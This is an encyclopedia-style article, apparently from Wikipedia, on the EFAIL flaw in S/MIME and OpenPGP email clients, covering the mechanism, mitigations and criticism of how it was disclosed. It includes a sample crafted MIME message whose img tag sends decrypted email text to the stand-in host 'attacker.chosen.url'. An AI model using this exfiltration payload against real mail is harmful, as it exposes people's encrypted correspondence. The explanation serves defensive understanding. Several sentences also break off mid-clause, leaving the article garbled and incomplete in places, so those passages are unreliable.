EFAIL
Efail, also written EFAIL, is a
Two related
As a result of the vulnerability, the content of an attacked encrypted email can be transmitted to the attacker in plain text by a vulnerable email client. The used encryption keys are not disclosed.
Description
The security gap concerns many common email programs when used with the
To access the decrypted content of an encrypted email, the attacker modifies the email to be attacked to contain text prepared by the attacker in a specific way. The attacker then sends the changed email to one of the regular recipients.
The attacker inserts additional text before and after the encrypted text in the encrypted email, thereby changing the message so that a multipart/mixed (MIME) message is created and the encrypted part of the message appears together with the limit marks of the MIME message as a parameter value of an HTML tag.
Example of a modified S/MIME mail:
[...]
Content-Type: multipart/mixed;boundary="BOUNDARY"
[...]
--BOUNDARY
Content-Type: text/html
<img src="http://attacker.chosen.url/
--BOUNDARY
Content-Type: application/pkcs7-mime;
s-mime-typed-envelope-data
Content-Transfer-Encoding: base64
ENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGE
--BOUNDARY
Content-Type: text/html
">
--BOUNDARY
...
The email client first breaks down the multipart message into its individual parts using the --BOUNDARY
tag and then decrypts the encrypted parts. It then reassembles the multipart message, and receives the message in this way:
[...]
Content-Type: multipart/mixed;boundary="BOUNDARY"
[...]
--BOUNDARY
Content-Type: text/html
<img src="http://attacker.chosen.url/
SECRETMESSAGESECRETMESSAGE">
--BOUNDARY
...
This message now contains the decrypted content of the email in the src=
attribute of the <img>
tag and is passed by the email program as URL to the web server attacker.chosen.url
controlled by the attacker, when this content is requested. The attacker can now retrieve the content of the encrypted message from its web server logs.
In a variant of the attack, the attacker uses a vulnerability in the
Mitigations
Since the vulnerability is directed against the content of the email and not against the recipient, it is necessary that all recipients implement the countermeasures. These include:
- Disable active content such as HTML or JavaScript when viewing emails.
- Suppress automatic reloading of external content, such as images.
To what extent even the senders of encrypted content can reduce the vulnerability, e.g. by electronic signatures or the limitation to a subset of MIME formats, has not yet been conclusively clarified.
Critique
Announcing the security vulnerability on 13 May 2018 the Electronic Frontier Foundation (EFF) recommended to stop using any PGP plugins in email programs even though the vulnerability does not directly relate to PGP but to the configuration of an email program.[2][3] A coordinated publication was originally scheduled for the 15 May. The EFF was criticized for ignoring this by various parties.[4][5][6][7][8]
As a consequence of this, Robert Hansen recommended to establish a closed group or mailing list to better coordinate the publication of future security issues. Still, he saw the EFF and its director Danny O'Brien as the best entity to administer such an "OpenPGP Disclosure Group".[9]
References
- ^ a b "Decade-old Efail flaws can leak plaintext of PGP- and S/MIME-encrypted emails". arstechnica.com. 2018-05-14.
- ^ "EFF on Twitter". Twitter. Electronic Frontier Foundation (EFF). 2018-05-13. Retrieved 2018-05-17.
To protect yourself, EFF highly recommends that for now you uninstall or disable your PGP email plug-in.
- ^ O'Brien, Danny; Gebhart, Gennie (2018-05-13), Attention PGP Users: New Vulnerabilities Require You To Take Action Now, Electronic Frontier Foundation (EFF), retrieved 2018-05-17
- heise online(in German). 2018-05-16. Retrieved 2018-05-17.
- heise security(in German). 2018-05-15. Retrieved 2018-05-17.
- ^ Koch, Werner (2018-05-14). "Efail or OpenPGP is safer than S/MIME". gnupg-users. Retrieved 2018-05-17.
- ^ Green, Matthew (2018-05-17). "Was the Efail disclosure horribly screwed up?". A Few Thoughts on Cryptographic Engineering. Retrieved 2018-05-17.
- ^ "Hashtag #EFFail auf Twitter" (in German). Retrieved 2018-05-17.
- ^ Hansen, Robert (2018-05-20). "Efail: A Postmortem". medium.com. Retrieved 2018-05-21.
Further reading
- Poddebniak, Damian; Dresen, Christian; Müller, Jens; Ising, Fabian; Schinzel, Sebastian; Friedberger, Simon; Somorovsky, Juraj; Schwenk, Jörg. "Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels" (PDF). Efail.de. Draft 0.9.1. Archived (PDF) from the original on 2018-05-21. Retrieved 2018-05-14.